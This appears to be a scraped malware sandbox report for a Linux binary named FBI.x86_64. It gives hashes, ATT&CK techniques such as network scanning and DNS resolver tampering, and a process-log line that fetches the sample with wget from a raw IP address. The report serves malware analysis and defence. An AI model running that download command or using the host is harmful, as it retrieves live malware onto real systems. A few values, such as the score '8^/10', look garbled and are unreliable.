d19430f718c0b2391bb220fabb0c72e51762abb5e526836325f8e7f6bc72ebcb | Triage

Analysis

max time kernel
22222s
max time network
155s
platform
linux_amd64
resource
ubuntu1804-amd64-en-20211208
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-en-20211208kernel:4.15.0-161-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
22-08-2022 21:34

Sharing

Report Analysis Logs

General

Target

FBI.x86_64
Size

97KB
MD5

64306d2e104cf229036a5e67cc5a8151
SHA1

d0b5334beff7486e3cff413a142248998096abb5
SHA256

d19430f718c0b2391bb220fabb0c72e51762abb5e526836325f8e7f6bc72ebcb
SHA512

369bb4c2e004fd23e9c3b7bb2bb4aec341f89d33ec93e974d4376638703a7b2d6ab16a99db7c43bf593bf8fd791eed0b5fae789b6f181952e201676edbf41623

Score

8^/10

discovery

Malware Config

Signatures

Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.

Dynamic Resolution
T1568

Processes:

description ioc

/etc/resolv.conf /etc/resolv.conf
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Scanning
T1046

/tmp/FBI.x86_64
/tmp/FBI.x86_64 wget http://37.44.238.187/FBI.x86_64
1⤵
PID:577

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Scanning

Lateral Movement

Collection

Command and Control

Dynamic Resolution

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads